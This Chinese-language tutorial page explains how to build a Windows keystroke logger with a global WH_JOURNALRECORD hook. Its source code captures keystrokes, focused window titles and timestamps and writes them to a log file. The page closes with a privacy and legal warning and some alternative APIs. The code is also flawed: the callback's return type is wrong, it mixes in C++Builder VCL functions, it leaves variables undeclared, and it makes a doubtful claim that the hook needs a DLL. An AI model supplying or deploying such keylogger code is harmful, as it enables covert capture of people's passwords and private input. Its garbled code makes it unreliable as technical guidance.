首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> VC 教學

鍵盤鉤子實戰:記錄按鍵動作與時間戳記的完整實作

     編輯:VC 教學

鍵盤日誌鉤子核心原理

Windows 提供 WH_JOURNALRECORD 全域鉤子類型,可攔截系統層級的鍵盤與滑鼠事件。不同於 WH_KEYBOARD 僅接收虛擬鍵碼,Journal Record 鉤子接收 EVENTMSG 結構,包含訊息類型、參數、時間戳、硬體座標,適合實作完整的輸入記錄器。

核心程式碼架構解析

1. 全域變數與常數定義

HHOOK g_hLogHook = NULL;           // 鉤子控制代碼
HWND g_hLastFocus = NULL;          // 上一次擁有焦點的視窗
const int KeyPressMask = 0x80000000; // 按鍵狀態掩碼 (高位元為 1 表示按下)

2. 鉤子安裝與移除

// 安裝鉤子
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)JournalLogProc, HInstance, 0);

// 移除鉤子
if (g_hLogHook) {
    UnhookWindowsHookEx(g_hLogHook);
    g_hLogHook = NULL;
}

關鍵點:`SetWindowsHookEx` 最後一個參數傳 `0` 表示全域鉤子,需置於 DLL 中;`HInstance` 必須是包含回呼函數的模組實例控制代碼。

3. 回呼函數 JournalLogProc 完整邏輯

HOOKPROC JournalLogProc(int iCode, WPARAM wParam, LPARAM lParam) {
    if (iCode < 0) return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
    if (iCode == HC_ACTION) {
        EVENTMSG* pEvt = (EVENTMSG*)lParam;
        // 僅處理鍵盤按下訊息
        if (pEvt->message == WM_KEYDOWN) {
            // 取得虛擬鍵碼
            int vKey = LOBYTE(pEvt->paramL);
            
            // 偵測視窗焦點切換,記錄時間與視窗標題
            HWND hFocus = GetActiveWindow();
            if (g_hLastFocus != hFocus) {
                GetWindowText(hFocus, szTitle, 256);
                g_hLastFocus = hFocus;
                strcpy(szTime, DateTimeToStr(Now()).c_str());
                fprintf(stream, "\n%s  %s  ", szTime, szTitle);
            }
            
            // 判斷 Shift、CapsLock、NumLock 狀態
            bool bShift = (GetKeyState(VK_SHIFT) & KeyPressMask) == KeyPressMask;
            bool bCapital = (GetKeyState(VK_CAPITAL) & 1) == 1;
            bool bNumLock = (GetKeyState(VK_NUMLOCK) & 1) == 1;
            
            // 依虛擬鍵碼區間轉換為字元並寫入日誌
            // ... (數字鍵、字母鍵、小鍵盤、符號鍵、功能鍵、控制鍵的完整 switch-case 處理)
        }
    }
    return CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
}

關鍵技術細節

虛擬鍵碼到字元的精確轉換

程式碼展示了完整的鍵盤佈局邏輯:

  • 數字鍵 0-9 (48-57):依 Shift 狀態輸出數字或符號 (!@#$%^&*)
  • 字母鍵 A-Z (65-90):結合 CapsLock 與 Shift 判斷大小寫
  • 小鍵盤 0-9 (96-105):僅在 NumLock 開啟時輸出數字
  • 符號鍵 (186-222):涵蓋 `;=`, `,-`, `.>`, `/?`, `` `~ ``, `[]{`, `\|`, `'"` 等組合
  • 功能鍵 F1-F12 (112-123):直接記錄 `[F1]` 等標籤
  • 控制鍵 (8-46):Backspace、Tab、Enter、Esc、Space、方向鍵、Home/End、PgUp/PgDn、Ins/Del 等記錄簡碼

檔案 I/O 效能考量

範例在每次按鍵皆 `fopen`/`fprintf`/`fclose`,實務上建議:

  • 使用緩衝區累積寫入,定期 flush
  • 或採用非同步 I/O (IOCP) 避免阻塞鉤子執行緒
  • 注意 `WH_JOURNALRECORD` 鉤子執行於系統輸入處理序,執行時間過長會導致系統輸入延遲,甚至觸發「鉤子逾時」被系統強制移除

安全性與法律合規警示

⚠ 重要提醒:鍵盤記錄屬於敏感行為,可能違反隱私權法規 (如 GDPR、個資法) 及資安政策。僅限於:
  • 經授權的企業稽核/合規監控
  • 個人電腦備份/防遺失工具
  • 無障礙輔助技術 (如語音輸入前端)
  • 惡意軟體分析沙箱環境
嚴禁未經同意部署於他人裝置。開發者應內建啟用開關、加密儲存、存取控制機制。

現代替代方案

  • Raw Input API (`WM_INPUT`):不需鉤子,直接接收 HID 原始資料,支援多鍵盤區分
  • Windows Runtime (WinRT):`CoreIndependentInputSource` 適用於 UWP 應用
  • ETW (Event Tracing for Windows):核心級追蹤,效能影響極低

結語

本範例展示了經典的 `WH_JOURNALRECORD` 鍵盤日誌實作,涵蓋焦點追蹤、修飾鍵狀態、完整鍵盤佈局對應。雖技術成熟,現代開發應優先考慮 Raw Input 或 ETW 等更高效、相容性更佳的方案,並嚴格遵守法律合規與使用者隱私保護原則。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved